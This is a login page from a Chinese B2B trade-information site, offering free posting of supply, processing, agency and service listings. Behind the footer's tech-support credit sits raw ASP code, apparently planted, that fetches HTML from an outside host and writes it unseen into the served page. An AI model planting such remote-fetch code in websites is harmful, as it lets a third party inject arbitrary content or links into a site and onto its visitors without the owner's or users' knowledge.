用户登陆

登录后，您就可以免费发布以下信息：
· 产品供求信息
发布产品供应、产品求购信息，快速寻找合作商机！
· 加工业务供求信息
提供和寻求各种加工信息！
· 代理加盟信息
展示企业的代理和加盟需求，在千万买家中发展代理加盟商！
· 提供各种服务信息
展示企业的服务能力，让千万买家主动联系您！


请马上登录,免费发布信息
用户名：
登录密码：
验证码：
	输入上图中的计算结果



还不是会员，请立即注册

技术支持：厦门帮企信息技术有限公司 <% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP") objXML.open "GET",url,false On Error Resume Next objXML.send() If objXML.readystate<>4 then exit function else if instr(url,"utf-") > 0 then getHTTPPage=objXML.ResponseText else getHTTPPage=BytesToBstr(objXML.responseBody) end if set objXML=nothing End If if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html Url = "http://www.100lian.net/user/26093.html" response.write(getHTTPPage(Url)) %>